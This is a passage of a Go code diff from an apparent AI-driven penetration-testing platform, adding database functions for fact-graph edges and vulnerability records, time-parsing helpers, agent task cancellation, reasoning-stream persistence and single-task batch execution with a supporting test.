+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges WHERE id = ?`, edgeID,
+	).Scan(&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
+		&e.SourceConversationID, &createdAt, &updatedAt)
+	if err != nil {
+		return nil, fmt.Errorf("边不存在")
+	}
+	e.CreatedAt = parseDBTime(createdAt)
+	e.UpdatedAt = parseDBTime(updatedAt)
+	return &e, nil
+}
+
+// AddProjectFactEdge 新增单条边（已存在则更新 confidence）。
+func (db *DB) AddProjectFactEdge(projectID string, in ProjectFactEdgeInput, sourceFactKey, sourceConversationID string) (*ProjectFactEdge, error) {
+	sourceFactKey = strings.TrimSpace(sourceFactKey)
+	target := strings.TrimSpace(in.To)
+	if sourceFactKey == "" || target == "" {
+		return nil, fmt.Errorf("source 与 target 必填")
+	}
+	if sourceFactKey == target {
+		return nil, fmt.Errorf("边不能指向自身")
+	}
+	if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+		return nil, err
+	}
+	if err := ValidateFactKey(target); err != nil {
+		return nil, err
+	}
+	now := time.Now()
+	e := &ProjectFactEdge{
+		ID:                   uuid.New().String(),
+		ProjectID:            projectID,
+		SourceFactKey:        sourceFactKey,
+		TargetFactKey:        target,
+		EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+		Confidence:           normalizeEdgeConfidence(in.Confidence),
+		SourceConversationID: sourceConversationID,
+		CreatedAt:            now,
+		UpdatedAt:            now,
+	}
+	_, err := db.Exec(
+		`INSERT INTO project_fact_edges (
+			id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+			source_conversation_id, created_at, updated_at
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
+		ON CONFLICT(project_id, source_fact_key, target_fact_key, edge_type)
+		DO UPDATE SET confidence = excluded.confidence, updated_at = excluded.updated_at`,
+		e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
+		nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("添加边失败: %w", err)
+	}
+	// 返回最新
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND source_fact_key = ? AND target_fact_key = ? AND edge_type = ?`,
+		projectID, sourceFactKey, target, e.EdgeType,
+	)
+	if err != nil {
+		return e, nil
+	}
+	defer rows.Close()
+	list, err := scanProjectFactEdges(rows)
+	if err != nil || len(list) == 0 {
+		return e, nil
+	}
+	return list[0], nil
+}
+
+// DeleteProjectFactEdge 删除单条边。
+func (db *DB) DeleteProjectFactEdge(edgeID string) error {
+	res, err := db.Exec(`DELETE FROM project_fact_edges WHERE id = ?`, edgeID)
+	if err != nil {
+		return err
+	}
+	n, _ := res.RowsAffected()
+	if n == 0 {
+		return fmt.Errorf("边不存在")
+	}
+	return nil
+}
+
+func (db *DB) insertProjectFactEdge(e *ProjectFactEdge) error {
+	_, err := db.Exec(
+		`INSERT INTO project_fact_edges (
+			id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+			source_conversation_id, created_at, updated_at
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
+		nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
+	)
+	if err != nil {
+		return fmt.Errorf("写入边失败: %w", err)
+	}
+	return nil
+}
+
+// RenameProjectFactKeyEdges 事实 key 变更时同步边上的引用。
+func (db *DB) RenameProjectFactKeyEdges(projectID, oldKey, newKey string) error {
+	oldKey = strings.TrimSpace(oldKey)
+	newKey = strings.TrimSpace(newKey)
+	if oldKey == "" || newKey == "" || oldKey == newKey {
+		return nil
+	}
+	now := time.Now()
+	if _, err := db.Exec(
+		`UPDATE project_fact_edges SET source_fact_key = ?, updated_at = ?
+		  WHERE project_id = ? AND source_fact_key = ?`,
+		newKey, now, projectID, oldKey,
+	); err != nil {
+		return err
+	}
+	_, err := db.Exec(
+		`UPDATE project_fact_edges SET target_fact_key = ?, updated_at = ?
+		  WHERE project_id = ? AND target_fact_key = ?`,
+		newKey, now, projectID, oldKey,
+	)
+	return err
+}
+
+// DeleteProjectFactEdgesForKey 删除与某 fact_key 相关的全部边。
+func (db *DB) DeleteProjectFactEdgesForKey(projectID, factKey string) error {
+	_, err := db.Exec(
+		`DELETE FROM project_fact_edges
+		  WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)`,
+		projectID, factKey, factKey,
+	)
+	return err
+}
+
+// DeprecateProjectFactEdgesForKey 将关联边标记为 deprecated。
+func (db *DB) DeprecateProjectFactEdgesForKey(projectID, factKey string) error {
+	now := time.Now()
+	_, err := db.Exec(
+		`UPDATE project_fact_edges SET confidence = 'deprecated', updated_at = ?
+		  WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)
+		    AND confidence != 'deprecated'`,
+		now, projectID, factKey, factKey,
+	)
+	return err
+}
+
+func scanProjectFactEdges(rows *sql.Rows) ([]*ProjectFactEdge, error) {
+	var out []*ProjectFactEdge
+	for rows.Next() {
+		var e ProjectFactEdge
+		var createdAt, updatedAt string
+		if err := rows.Scan(
+			&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
+			&e.SourceConversationID, &createdAt, &updatedAt,
+		); err != nil {
+			return nil, err
+		}
+		e.CreatedAt = parseDBTime(createdAt)
+		e.UpdatedAt = parseDBTime(updatedAt)
+		out = append(out, &e)
+	}
+	return out, rows.Err()
+}

internal/database/sqltime.go

@@ -0,0 +1,33 @@
+package database
+
+import (
+	"errors"
+	"strings"
+	"time"
+)
+
+// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
+func formatSQLiteUTC(t time.Time) string {
+	return t.UTC().Format(time.RFC3339Nano)
+}
+
+// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
+func sqliteEpochGE(column, op string) string {
+	return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
+}
+
+// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
+func ParseRFC3339Time(value string) (time.Time, error) {
+	value = strings.TrimSpace(value)
+	if value == "" {
+		return time.Time{}, errors.New("empty time value")
+	}
+	if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
+		return t.UTC(), nil
+	}
+	t, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		return time.Time{}, err
+	}
+	return t.UTC(), nil
+}

internal/database/vulnerability.go

@@ -98,7 +98,7 @@ type Vulnerability struct {
 	Title           string    `json:"title"`
 	Description     string    `json:"description"`
 	Severity        string    `json:"severity"` // critical, high, medium, low, info
-	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive
+	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive, ignored
 	Type            string    `json:"type"`
 	Target          string    `json:"target"`
 	Proof           string    `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 
 	_, err := db.Exec(
 		query,
-		vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
+		vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
 		vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
 		vuln.Proof, vuln.Impact, vuln.Recommendation,
 		vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 	var vuln Vulnerability
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
 		       conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 // ListVulnerabilities 列出漏洞
 func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
 		       vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
 	if err != nil {
 		return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
 	}
-	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
+	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
 	if err != nil {
 		return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
 	}

internal/einomcp/mcp_tools.go

@@ -16,7 +16,8 @@ import (
 )
 
 // ExecutionRecorder 可选，在 MCP 工具成功返回且带有 execution id 时回调（用于汇总 mcpExecutionIds）。
-type ExecutionRecorder func(executionID string)
+// toolCallID 来自 Eino compose.GetToolCallID，用于与 reduction 后的展示结果关联。
+type ExecutionRecorder func(executionID, toolCallID string)
 
 // ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
 // Eino 工具通道目前只支持返回字符串，因此通过前缀标识，随后在多代理 runner 中解析为 success/isError。
@@ -178,7 +179,7 @@ func runMCPToolInvocation(
 		return "", nil
 	}
 	if res.ExecutionID != "" && record != nil {
-		record(res.ExecutionID)
+		record(res.ExecutionID, compose.GetToolCallID(ctx))
 	}
 	if res.IsError {
 		return ToolErrorPrefix + res.Result, nil

internal/einomcp/tool_invoke_notify.go

@@ -2,8 +2,8 @@ package einomcp
 
 import "sync"
 
-// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调；MCP 桥在每次 InvokableRun 结束时 Fire，
+// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调；MCP/execute 桥在工具调用结束时 Fire，
-// 用于在 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending，避免 UI 卡在「执行中」或迭代末 force-close。
+// 用于清除 pending tool_call（tool_result 由 ADK schema.Tool 事件推送，含流式工具与 reduction 后正文）。
 type ToolInvokeNotifyHolder struct {
 	mu sync.RWMutex
 	fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)

internal/handler/agent.go

@@ -190,6 +190,21 @@ func (h *AgentHandler) SetAudit(s *audit.Service) {
 	h.audit = s
 }
 
+// CancelRunningTaskForConversation stops any in-flight agent work for the conversation (idempotent).
+func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
+	if h == nil || conversationID == "" || h.tasks == nil {
+		return
+	}
+	if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
+		h.agent.CancelMCPToolExecutionWithNote(execID, "")
+	}
+	if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
+		h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
+	} else if err != nil {
+		h.logger.Warn("取消会话运行中任务失败", zap.String("conversationId", conversationID), zap.Error(err))
+	}
+}
+
 // HitlToolWhitelistSaver 合并 HITL 免审批工具到全局配置并落盘
 type HitlToolWhitelistSaver interface {
 	MergeHitlToolWhitelistIntoConfig(add []string) error
@@ -631,27 +646,11 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
 	assistantMessageID string,
 	taskStatus *string,
 ) (string, string, error) {
-	curHist := history
+	resultMA, errMA := multiagent.RunEinoSingleChatModelAgent(
-	curMsg := finalMessage
+		taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
-	segmentUserMessage := finalMessage
+		conversationID, h.conversationProjectID(conversationID), finalMessage, history, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
-	var resultMA *multiagent.RunResult
+	)
-	var errMA error
+	if errMA != nil {
-	var transientRunAttempts int
-	for {
-		resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
-			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
-		)
-		if errMA == nil {
-			transientRunAttempts = 0
-			break
-		}
-		if handled, _ := h.handleEinoTransientRetryContinue(
-			taskCtx, conversationID, resultMA, errMA, &transientRunAttempts,
-			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
-		); handled {
-			continue
-		}
 		*taskStatus = "failed"
 		return h.finalizeRobotAgentError(taskCtx, assistantMessageID, conversationID, resultMA, errMA)
 	}
@@ -667,28 +666,12 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
 	assistantMessageID string,
 	taskStatus *string,
 ) (string, string, error) {
-	curHist := history
+	resultMA, errMA := multiagent.RunDeepAgent(
-	curMsg := finalMessage
+		taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
-	segmentUserMessage := finalMessage
+		conversationID, h.conversationProjectID(conversationID), finalMessage, history, roleTools, progressCallback,
-	var resultMA *multiagent.RunResult
+		h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
-	var errMA error
+	)
-	var transientRunAttempts int
+	if errMA != nil {
-	for {
-		resultMA, errMA = multiagent.RunDeepAgent(
-			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback,
-			h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
-		)
-		if errMA == nil {
-			transientRunAttempts = 0
-			break
-		}
-		if handled, _ := h.handleEinoTransientRetryContinue(
-			taskCtx, conversationID, resultMA, errMA, &transientRunAttempts,
-			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
-		); handled {
-			continue
-		}
 		*taskStatus = "failed"
 		return h.finalizeRobotAgentError(taskCtx, assistantMessageID, conversationID, resultMA, errMA)
 	}
@@ -1159,6 +1142,8 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 				}
 			}
 			flushResponsePlan()
+			// 助手正文开始前，推理流通常已结束；落库以便刷新后「渗透测试详情」可回放
+			flushThinkingStreams()
 			respPlan.meta = nil
 			if dataMap, ok := data.(map[string]interface{}); ok {
 				respPlan.meta = make(map[string]interface{}, len(dataMap))
@@ -1194,6 +1179,19 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 		}
 		if eventType == "response" {
 			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+		if eventType == "done" {
+			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+
+		// 流式思考/推理结束：聚合落库（与 eino_agent_reply_stream_end 同理）
+		if eventType == "thinking_stream_end" || eventType == "reasoning_chain_stream_end" {
+			flushResponsePlan()
+			flushThinkingStreams()
 			return
 		}
 
@@ -1268,7 +1266,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 
 		// 保存过程详情到数据库（排除 response/done；response 正文已在 messages 表）
 		// response_start/response_delta 已聚合为 planning，不落逐条。
+		// [Eino] agent 心跳 progress 仅用于实时进度标题，不落库以免时间线刷屏。
+		skipEinoAgentHeartbeat := eventType == "progress" && strings.HasPrefix(strings.TrimSpace(message), "[Eino] ")
 		if assistantMessageID != "" &&
+			!skipEinoAgentHeartbeat &&
 			eventType != "response" &&
 			eventType != "done" &&
 			eventType != "response_start" &&
@@ -1335,6 +1336,21 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
 			})
 			return
 		}
+		if h.tasks.AbortActiveEinoExecute(req.ConversationID, note) {
+			h.logger.Info("对话页仅终止当前 Eino execute",
+				zap.String("conversationId", req.ConversationID),
+				zap.Bool("hasNote", note != ""),
+			)
+			c.JSON(http.StatusOK, gin.H{
+				"status":              "tool_abort_requested",
+				"conversationId":      req.ConversationID,
+				"message":             "已请求终止当前 execute 命令；命令返回后本轮推理将继续。",
+				"continueAfter":       true,
+				"interruptWithNote":   note != "",
+				"continueWithoutTool": false,
+			})
+			return
+		}
 		// 无进行中的 MCP 工具（模型纯推理/流式输出阶段）：取消当前上下文并由 Eino 流式处理器合并用户补充后自动续跑。
 		h.tasks.SetInterruptContinueNote(req.ConversationID, note)
 		ok, err := h.tasks.CancelTask(req.ConversationID, multiagent.ErrInterruptContinue)
@@ -1637,6 +1653,7 @@ func (h *AgentHandler) ListBatchQueues(c *gin.Context) {
 // StartBatchQueue 开始执行批量任务队列
 func (h *AgentHandler) StartBatchQueue(c *gin.Context) {
 	queueID := c.Param("queueId")
+	h.batchTaskManager.ClearSingleRunTask(queueID)
 	ok, err := h.startBatchQueueExecution(queueID, false)
 	if err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1668,6 +1685,7 @@ func (h *AgentHandler) RerunBatchQueue(c *gin.Context) {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": "重置队列失败"})
 		return
 	}
+	h.batchTaskManager.ClearSingleRunTask(queueID)
 	ok, err := h.startBatchQueueExecution(queueID, false)
 	if err != nil {
 		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
@@ -1867,6 +1885,53 @@ func (h *AgentHandler) AddBatchTask(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "任务已添加", "task": task, "queue": queue})
 }
 
+// RunSingleBatchTask 单条执行指定子任务（可覆盖已成功项），完成后暂停队列
+func (h *AgentHandler) RunSingleBatchTask(c *gin.Context) {
+	queueID := c.Param("queueId")
+	taskID := c.Param("taskId")
+
+	if err := h.batchTaskManager.PrepareSingleTaskRun(queueID, taskID); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	h.batchTaskManager.SetSingleRunTask(queueID, taskID)
+
+	// 暂停态单条执行：旧批量协程可能仍占用执行槽，先回收以便重新启动
+	if queue, ok := h.batchTaskManager.GetBatchQueue(queueID); ok && queue.Status == BatchQueueStatusPaused {
+		h.forceUnmarkBatchQueueRunning(queueID)
+	}
+
+	autoStarted := true
+	autoStartMsg := "已开始单条执行"
+	ok, startErr := h.startBatchQueueExecution(queueID, false)
+	if startErr != nil {
+		h.batchTaskManager.ClearSingleRunTask(queueID)
+		autoStarted = false
+		autoStartMsg = "任务已准备就绪，但自动启动失败: " + startErr.Error()
+	} else if !ok {
+		h.batchTaskManager.ClearSingleRunTask(queueID)
+		autoStarted = false
+		autoStartMsg = "任务已准备就绪，但队列不存在"
+	}
+
+	queue, exists := h.batchTaskManager.GetBatchQueue(queueID)
+	if !exists {
+		c.JSON(http.StatusNotFound, gin.H{"error": "队列不存在"})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "task", "run_single_batch_task", "单条执行批量子任务", "batch_task", taskID, map[string]interface{}{
+			"batch_queue_id": queueID,
+			"auto_started":   autoStarted,
+		})
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"message":     autoStartMsg,
+		"queue":       queue,
+		"autoStarted": autoStarted,
+	})
+}
+
 // DeleteBatchTask 删除批量任务
 func (h *AgentHandler) DeleteBatchTask(c *gin.Context) {
 	queueID := c.Param("queueId")
@@ -1908,6 +1973,10 @@ func (h *AgentHandler) unmarkBatchQueueRunning(queueID string) {
 	delete(h.batchRunning, queueID)
 }
 
+func (h *AgentHandler) forceUnmarkBatchQueueRunning(queueID string) {
+	h.unmarkBatchQueueRunning(queueID)
+}
+
 func (h *AgentHandler) nextBatchQueueRunAt(cronExpr string, from time.Time) (*time.Time, error) {
 	expr := strings.TrimSpace(cronExpr)
 	if expr == "" {
@@ -2055,6 +2124,10 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 			h.logger.Error("创建对话失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
 			h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", "创建对话失败: "+err.Error())
 			h.batchTaskManager.MoveToNextTask(queueID)
+			if h.batchTaskManager.TakeSingleRunTaskIfMatch(queueID, task.ID) {
+				h.batchTaskManager.UpdateQueueStatus(queueID, "paused")
+				break
+			}
 			continue
 		}
 		conversationID = conv.ID
@@ -2172,6 +2245,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 			progressCallback = h.createProgressCallback(taskCtx, cancelWithCause, conversationID, assistantMessageID, sendEvent)
 			taskCtx = mcp.WithMCPConversationID(taskCtx, conversationID)
 			taskCtx = mcp.WithToolRunRegistry(taskCtx, h.tasks)
+			taskCtx = mcp.WithEinoExecuteRunRegistry(taskCtx, h.tasks)
 
 			// 使用队列配置的角色工具列表（如果为空，表示使用所有工具）
 			useBatchMulti := false
@@ -2192,12 +2266,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 			var runErr error
 			switch {
 			case useBatchMulti:
-				resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
+				resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
 			default:
 				if h.config == nil {
 					runErr = fmt.Errorf("服务器配置未加载")
 				} else {
-					resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
+					resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
 				}
 			}
 
@@ -2311,6 +2385,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 		// 移动到下一个任务
 		h.batchTaskManager.MoveToNextTask(queueID)
 
+		if h.batchTaskManager.TakeSingleRunTaskIfMatch(queueID, task.ID) {
+			h.batchTaskManager.UpdateQueueStatus(queueID, "paused")
+			h.logger.Info("单条执行完成，队列已暂停", zap.String("queueId", queueID), zap.String("taskId", task.ID))
+			break
+		}
+
 		// 检查是否被取消或暂停
 		queue, _ = h.batchTaskManager.GetBatchQueue(queueID)
 		if queue.Status == "cancelled" || queue.Status == "paused" {

internal/handler/agent_progress_callback_test.go

@@ -3,10 +3,14 @@ package handler
 import (
 	"context"
 	"fmt"
+	"os"
+	"path/filepath"
 	"sync"
 	"testing"
 
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/openai"
 
 	"go.uber.org/zap"
 )
@@ -46,3 +50,50 @@ func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
 	}
 	wg.Wait()
 }
+
+// TestCreateProgressCallback_FlushesReasoningOnDone 流式推理聚合须在 done/response 时落库，刷新后可回放。
+func TestCreateProgressCallback_FlushesReasoningOnDone(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer os.RemoveAll(tmp)
+
+	conv, err := db.CreateConversation("test", database.ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	asst, err := db.AddMessage(conv.ID, "assistant", "处理中...", nil)
+	if err != nil {
+		t.Fatalf("AddMessage: %v", err)
+	}
+
+	h := &AgentHandler{logger: zap.NewNop(), db: db}
+	cb := h.createProgressCallback(context.Background(), nil, conv.ID, asst.ID, nil)
+
+	streamID := "eino-reasoning-test-1"
+	cb("reasoning_chain_stream_start", " ", map[string]interface{}{
+		"streamId": streamID,
+		"source":   "eino",
+	})
+	cb("reasoning_chain_stream_delta", "step one", openai.WithSSEAccumulated(map[string]interface{}{
+		"streamId": streamID,
+	}, "step one"))
+	cb("done", "", map[string]interface{}{"conversationId": conv.ID})
+
+	details, err := db.GetProcessDetails(asst.ID)
+	if err != nil {
+		t.Fatalf("GetProcessDetails: %v", err)
+	}
+	found := false
+	for _, d := range details {
+		if d.EventType == "reasoning_chain" && d.Message == "step one" {
+			found = true
+			break
+		}
+	}
+	if !found {
+		t.Fatalf("expected reasoning_chain persisted on done, got %+v", details)
+	}
+}

internal/handler/audit_query.go

@@ -2,7 +2,6 @@ package handler
 
 import (
 	"strconv"
-	"time"
 
 	"cyberstrike-ai/internal/database"
 
@@ -20,12 +19,12 @@ func auditFilterFromQuery(c *gin.Context) database.ListAuditLogsFilter {
 		ResourceID:   c.Query("resource_id"),
 	}
 	if since := c.Query("since"); since != "" {
-		if t, err := time.Parse(time.RFC3339, since); err == nil {
+		if t, err := database.ParseRFC3339Time(since); err == nil {
 			filter.Since = &t
 		}
 	}
 	if until := c.Query("until"); until != "" {
-		if t, err := time.Parse(time.RFC3339, until); err == nil {
+		if t, err := database.ParseRFC3339Time(until); err == nil {
 			filter.Until = &t
 		}
 	}

internal/handler/batch_task_manager.go

@@ -77,11 +77,12 @@ type BatchTaskQueue struct {
 
 // BatchTaskManager 批量任务管理器
 type BatchTaskManager struct {
-	db          *database.DB
+	db             *database.DB
-	logger      *zap.Logger
+	logger         *zap.Logger
-	queues      map[string]*BatchTaskQueue
+	queues         map[string]*BatchTaskQueue
-	taskCancels map[string]context.CancelFunc // 存储每个队列当前任务的取消函数
+	taskCancels    map[string]context.CancelFunc // 存储每个队列当前任务的取消函数
-	mu          sync.RWMutex
+	singleRunTasks map[string]string             // queueID -> taskID，单条执行完成后暂停队列
+	mu             sync.RWMutex
 }
 
 // NewBatchTaskManager 创建批量任务管理器
@@ -90,9 +91,10 @@ func NewBatchTaskManager(logger *zap.Logger) *BatchTaskManager {
 		logger = zap.NewNop()
 	}
 	return &BatchTaskManager{
-		logger:      logger,
+		logger:         logger,
-		queues:      make(map[string]*BatchTaskQueue),
+		queues:         make(map[string]*BatchTaskQueue),
-		taskCancels: make(map[string]context.CancelFunc),
+		taskCancels:    make(map[string]context.CancelFunc),
+		singleRunTasks: make(map[string]string),
 	}
 }
 
@@ -864,6 +866,138 @@ func (m *BatchTaskManager) AddTaskToQueue(queueID, message string) (*BatchTask,
 	return task, nil
 }
 
+// PrepareSingleTaskRun 准备单条执行：重置目标任务（若已有结果）并定位队列索引
+func (m *BatchTaskManager) PrepareSingleTaskRun(queueID, taskID string) error {
+	var cancelFunc context.CancelFunc
+	var siblingRunningIDs []string
+
+	m.mu.Lock()
+	queue, exists := m.queues[queueID]
+	if !exists {
+		m.mu.Unlock()
+		return fmt.Errorf("队列不存在")
+	}
+
+	var task *BatchTask
+	taskIndex := -1
+	for i, t := range queue.Tasks {
+		if t.ID == taskID {
+			taskIndex = i
+			task = t
+			break
+		}
+	}
+	if task == nil {
+		m.mu.Unlock()
+		return fmt.Errorf("任务不存在")
+	}
+
+	if !queueAllowsSingleTaskRunLocked(queue, task) {
+		m.mu.Unlock()
+		return fmt.Errorf("队列正在执行或未就绪，无法单条执行")
+	}
+
+	// 暂停态：中止在途子任务并收口仍标记 running 的其它子任务，以便单条执行非冲突项
+	if queue.Status == BatchQueueStatusPaused {
+		if c, ok := m.taskCancels[queueID]; ok {
+			cancelFunc = c
+			delete(m.taskCancels, queueID)
+		}
+		for _, t := range queue.Tasks {
+			if t != nil && t.ID != taskID && t.Status == BatchTaskStatusRunning {
+				siblingRunningIDs = append(siblingRunningIDs, t.ID)
+			}
+		}
+	}
+
+	needsReset := task.Status != BatchTaskStatusPending
+	resumeQueue := queue.Status == BatchQueueStatusCompleted || queue.Status == BatchQueueStatusCancelled
+	m.mu.Unlock()
+
+	if cancelFunc != nil {
+		cancelFunc()
+	}
+	const staleRunMsg = "为单条执行其它任务，已中止"
+	for _, sid := range siblingRunningIDs {
+		m.UpdateTaskStatus(queueID, sid, BatchTaskStatusCancelled, "", staleRunMsg)
+	}
+
+	m.mu.Lock()
+	defer m.mu.Unlock()
+
+	queue, exists = m.queues[queueID]
+	if !exists {
+		return fmt.Errorf("队列不存在")
+	}
+
+	task = nil
+	taskIndex = -1
+	for i, t := range queue.Tasks {
+		if t.ID == taskID {
+			taskIndex = i
+			task = t
+			break
+		}
+	}
+	if task == nil {
+		return fmt.Errorf("任务不存在")
+	}
+
+	if m.db != nil {
